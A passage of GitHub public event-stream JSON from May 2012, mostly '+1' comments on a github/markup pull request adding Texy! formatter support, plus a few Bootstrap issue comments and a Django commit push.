12:22:48Z","id":"1553915852","actor":{"avatar_url":"https://secure.gravatar.com/avatar/e9de61b5196e93a3db50330622319687?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e9de61b5196e93a3db50330622319687","url":"https://api.github.com/users/Jirda","id":888765,"login":"Jirda"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:22:42Z","body":"+1","updated_at":"2012-05-20T12:22:42Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808500","id":5808500,"user":{"avatar_url":"https://secure.gravatar.com/avatar/73997373b9f2e330bc4ed2dff3ad8561?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"73997373b9f2e330bc4ed2dff3ad8561","url":"https://api.github.com/users/NeosinneR","id":470616,"login":"NeosinneR"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":19,"updated_at":"2012-05-20T12:22:42Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:22:43Z","id":"1553915842","actor":{"avatar_url":"https://secure.gravatar.com/avatar/73997373b9f2e330bc4ed2dff3ad8561?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"73997373b9f2e330bc4ed2dff3ad8561","url":"https://api.github.com/users/NeosinneR","id":470616,"login":"NeosinneR"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:21:39Z","body":"+1","updated_at":"2012-05-20T12:21:39Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808494","id":5808494,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6f055df11c2384360588bff39eca3179?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f055df11c2384360588bff39eca3179","url":"https://api.github.com/users/Acnnair","id":198089,"login":"Acnnair"}},"action":"created","issue":{"number":34,"pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"created_at":"2011-01-21T16:04:58Z","comments":18,"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:21:39Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"html_url":"https://github.com/github/markup/issues/34","labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:21:39Z","id":"1553915747","actor":{"avatar_url":"https://secure.gravatar.com/avatar/6f055df11c2384360588bff39eca3179?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f055df11c2384360588bff39eca3179","url":"https://api.github.com/users/Acnnair","id":198089,"login":"Acnnair"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:21:18Z","body":"+ 01 :)","updated_at":"2012-05-20T12:21:18Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808490","id":5808490,"user":{"avatar_url":"https://secure.gravatar.com/avatar/39e7b53a5166503123d4b99ad3b959b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"39e7b53a5166503123d4b99ad3b959b9","url":"https://api.github.com/users/adamtomecek","id":157048,"login":"adamtomecek"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"comments":17,"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","updated_at":"2012-05-20T12:21:18Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:21:18Z","id":"1553915704","actor":{"avatar_url":"https://secure.gravatar.com/avatar/39e7b53a5166503123d4b99ad3b959b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"39e7b53a5166503123d4b99ad3b959b9","url":"https://api.github.com/users/adamtomecek","id":157048,"login":"adamtomecek"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:20:43Z","body":"+1","updated_at":"2012-05-20T12:20:43Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808487","id":5808487,"user":{"avatar_url":"https://secure.gravatar.com/avatar/d8fe8d5f9012e9e1d76f19e05eedcc73?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d8fe8d5f9012e9e1d76f19e05eedcc73","url":"https://api.github.com/users/Marax","id":402625,"login":"Marax"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":16,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:20:43Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:20:43Z","id":"1553915653","actor":{"avatar_url":"https://secure.gravatar.com/avatar/d8fe8d5f9012e9e1d76f19e05eedcc73?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d8fe8d5f9012e9e1d76f19e05eedcc73","url":"https://api.github.com/users/Marax","id":402625,"login":"Marax"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:15:29Z","body":"+1","updated_at":"2012-05-20T12:15:29Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808456","id":5808456,"user":{"avatar_url":"https://secure.gravatar.com/avatar/c41460d1cfc23cbc64a2639f753d8b70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c41460d1cfc23cbc64a2639f753d8b70","url":"https://api.github.com/users/MartinSadovy","id":179039,"login":"MartinSadovy"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":15,"title":"[new markup] Texy! formatter support","updated_at":"2012-05-20T12:15:29Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:15:30Z","id":"1553915168","actor":{"avatar_url":"https://secure.gravatar.com/avatar/c41460d1cfc23cbc64a2639f753d8b70?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c41460d1cfc23cbc64a2639f753d8b70","url":"https://api.github.com/users/MartinSadovy","id":179039,"login":"MartinSadovy"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:13:14Z","body":"+1","updated_at":"2012-05-20T12:13:14Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808447","id":5808447,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6f4840694cd92f20ce0df5233bbc04b0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f4840694cd92f20ce0df5233bbc04b0","url":"https://api.github.com/users/HosipLan","id":158625,"login":"HosipLan"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":14,"updated_at":"2012-05-20T12:13:14Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:13:15Z","id":"1553914970","actor":{"avatar_url":"https://secure.gravatar.com/avatar/6f4840694cd92f20ce0df5233bbc04b0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6f4840694cd92f20ce0df5233bbc04b0","url":"https://api.github.com/users/HosipLan","id":158625,"login":"HosipLan"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T12:05:45Z","body":"+1","updated_at":"2012-05-20T12:05:45Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808414","id":5808414,"user":{"avatar_url":"https://secure.gravatar.com/avatar/6ed2b9a3737b1c2ad7fcb1a82fd379bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6ed2b9a3737b1c2ad7fcb1a82fd379bb","url":"https://api.github.com/users/Lopo","id":279973,"login":"Lopo"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":13,"updated_at":"2012-05-20T12:05:45Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T12:05:45Z","id":"1553914335","actor":{"avatar_url":"https://secure.gravatar.com/avatar/6ed2b9a3737b1c2ad7fcb1a82fd379bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"6ed2b9a3737b1c2ad7fcb1a82fd379bb","url":"https://api.github.com/users/Lopo","id":279973,"login":"Lopo"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:59:10Z","body":"+1","updated_at":"2012-05-20T11:59:10Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808385","id":5808385,"user":{"avatar_url":"https://secure.gravatar.com/avatar/df9a5876a05095a41d9762c60de90fc6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"df9a5876a05095a41d9762c60de90fc6","url":"https://api.github.com/users/Twista","id":1297511,"login":"Twista"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":12,"updated_at":"2012-05-20T11:59:10Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:59:11Z","id":"1553913765","actor":{"avatar_url":"https://secure.gravatar.com/avatar/df9a5876a05095a41d9762c60de90fc6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"df9a5876a05095a41d9762c60de90fc6","url":"https://api.github.com/users/Twista","id":1297511,"login":"Twista"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:53:44Z","body":"+1","updated_at":"2012-05-20T11:53:44Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808351","id":5808351,"user":{"avatar_url":"https://secure.gravatar.com/avatar/0b532998b3de0282ae25faec12409900?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"0b532998b3de0282ae25faec12409900","url":"https://api.github.com/users/f3l1x","id":538058,"login":"f3l1x"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"title":"[new markup] Texy! formatter support","body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","comments":11,"updated_at":"2012-05-20T11:53:44Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:53:44Z","id":"1553913287","actor":{"avatar_url":"https://secure.gravatar.com/avatar/0b532998b3de0282ae25faec12409900?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"0b532998b3de0282ae25faec12409900","url":"https://api.github.com/users/f3l1x","id":538058,"login":"f3l1x"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:52:32Z","body":"+1 :)","updated_at":"2012-05-20T11:52:32Z","url":"https://api.github.com/repos/github/markup/issues/comments/5808340","id":5808340,"user":{"avatar_url":"https://secure.gravatar.com/avatar/5632d1bf9598d8d03fa3da1c54f2118e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5632d1bf9598d8d03fa3da1c54f2118e","url":"https://api.github.com/users/enumag","id":539462,"login":"enumag"}},"action":"created","issue":{"number":34,"created_at":"2011-01-21T16:04:58Z","pull_request":{"diff_url":"https://github.com/github/markup/pull/34.diff","patch_url":"https://github.com/github/markup/pull/34.patch","html_url":"https://github.com/github/markup/pull/34"},"body":"Hello, I've created support for great Texy! text-to-HTML formatter and converter library (http://texy.info, http://github.com/dg/texy).\r\n\r\nHere's my implementation branch: https://github.com/smasty/markup/tree/texy","title":"[new markup] Texy! formatter support","comments":10,"updated_at":"2012-05-20T11:52:32Z","url":"https://api.github.com/repos/github/markup/issues/34","id":541804,"assignee":null,"milestone":null,"closed_at":null,"html_url":"https://github.com/github/markup/issues/34","user":{"avatar_url":"https://secure.gravatar.com/avatar/c27f2f0deb68f04a58db7b7254df893b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"c27f2f0deb68f04a58db7b7254df893b","url":"https://api.github.com/users/smasty","id":218524,"login":"smasty"},"labels":[],"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/61024896f291303615bcd4f7a0dcfb74?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"61024896f291303615bcd4f7a0dcfb74","url":"https://api.github.com/orgs/github","id":9919,"login":"github"},"repo":{"url":"https://api.github.com/repos/github/markup","id":355893,"name":"github/markup"},"created_at":"2012-05-20T11:52:32Z","id":"1553913189","actor":{"avatar_url":"https://secure.gravatar.com/avatar/5632d1bf9598d8d03fa3da1c54f2118e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5632d1bf9598d8d03fa3da1c54f2118e","url":"https://api.github.com/users/enumag","id":539462,"login":"enumag"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:43:14Z","body":"Thanks! But in my case I have to wrap the the modal in a form...\n\nI'm thinking about something like this to fix it:\nI've to catch the enter key, when pressed and when a input is active.","updated_at":"2012-05-20T11:43:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5808288","id":5808288,"user":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"}},"action":"created","issue":{"number":3343,"created_at":"2012-05-03T17:25:01Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"I've got a modal with a form in it and a input field. In de footer of the modal a submit button. When clicking on the submit button the form will be submitted. When pressing enter, from the input field, the modal disappears. Simple example:\r\n\r\n```html\r\n
\r\n\t
\r\n\t\t
\r\n\t\t\t

Login

\r\n\t\t
\r\n\t\t
\t\r\n\t\t\t\r\n\t\t
\r\n\t\t
\r\n\t\t\t\r\n\t\t
\r\n\t
\r\n
\r\n```\r\n\r\nI hope it will be fixed soon!","comments":4,"title":"Modal disappears when press enter","updated_at":"2012-05-20T11:43:14Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3343","id":4409660,"assignee":null,"milestone":null,"closed_at":"2012-05-04T19:04:44Z","html_url":"https://github.com/twitter/bootstrap/issues/3343","user":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"},"labels":[],"state":"closed"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T11:43:16Z","id":"1553912424","actor":{"avatar_url":"https://secure.gravatar.com/avatar/e491117553ef3b2399721b8916af9813?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e491117553ef3b2399721b8916af9813","url":"https://api.github.com/users/royduin","id":1703233,"login":"royduin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T11:23:11Z","body":"can you add one more image? There is sometimes a min. of 3 images required for the carousel to work.","updated_at":"2012-05-20T11:23:11Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/comments/5808187","id":5808187,"user":{"avatar_url":"https://secure.gravatar.com/avatar/a4f984ab9880a062644a6f9c15ce79e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a4f984ab9880a062644a6f9c15ce79e0","url":"https://api.github.com/users/thaibluesky","id":1756528,"login":"thaibluesky"}},"action":"created","issue":{"number":3528,"created_at":"2012-05-18T19:22:21Z","pull_request":{"diff_url":null,"patch_url":null,"html_url":null},"body":"Carousel does not start sliding to the next one after 5 seconds until after I click to the next slide. Only then does the timer start. What am I missing?","comments":8,"title":"Carousel does not start sliding","updated_at":"2012-05-20T11:23:11Z","url":"https://api.github.com/repos/twitter/bootstrap/issues/3528","id":4647904,"assignee":null,"milestone":null,"closed_at":null,"labels":[],"html_url":"https://github.com/twitter/bootstrap/issues/3528","user":{"avatar_url":"https://secure.gravatar.com/avatar/3fdf23df74c9d4897818887e74686e48?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3fdf23df74c9d4897818887e74686e48","url":"https://api.github.com/users/gigdates","id":1179255,"login":"gigdates"},"state":"open"}},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/74e977ae0a10f06057a119eef30c6660?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"74e977ae0a10f06057a119eef30c6660","url":"https://api.github.com/orgs/twitter","id":50278,"login":"twitter"},"repo":{"url":"https://api.github.com/repos/twitter/bootstrap","id":2126244,"name":"twitter/bootstrap"},"created_at":"2012-05-20T11:23:15Z","id":"1553910775","actor":{"avatar_url":"https://secure.gravatar.com/avatar/a4f984ab9880a062644a6f9c15ce79e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a4f984ab9880a062644a6f9c15ce79e0","url":"https://api.github.com/users/thaibluesky","id":1756528,"login":"thaibluesky"}},{"type":"PushEvent","payload":{"head":"03f86a5adb930eac55dea1e903fb958c002d5bc4","size":1,"push_id":79407330,"commits":[{"sha":"03f86a5adb930eac55dea1e903fb958c002d5bc4","author":{"name":"Aymeric Augustin","email":"aymeric.augustin@m4x.org"},"url":"https://api.github.com/repos/django/django/commits/03f86a5adb930eac55dea1e903fb958c002d5bc4","distinct":true,"message":"Fixed #18354 -- Performance issue in CBV.\n\nPrevented repeating a query twice when the model isn't ordered by\n-date_field (in Meta), allow_empty is False and pagination isn't\nenabled."}],"ref":"refs/heads/master"},"public":true,"org":{"avatar_url":"https://secure.gravatar.com/avatar/fd542381031aa84dca86628ece84fc07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png","gravatar_id":"fd542381031aa84dca86628ece84fc07","url":"https://api.github.com/orgs/django","id":27804,"login":"django"},"repo":{"url":"https://api.github.com/repos/django/django","id":4164482,"name":"django/django"},"created_at":"2012-05-20T11:20:49Z","id":"1553910583","actor":{"avatar_url":"https://secure.gravatar.com/avatar/ec12d7f60c595a45665f74b651aefabe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"ec12d7f60c595a45665f74b651aefabe","url":"https://api.github.com/users/aaugustin","id":788910,"login":"aaugustin"}},{"type":"IssueCommentEvent","payload":{"comment":{"created_at":"2012-05-20T10:22:07Z","body":"Do you need any additional information from 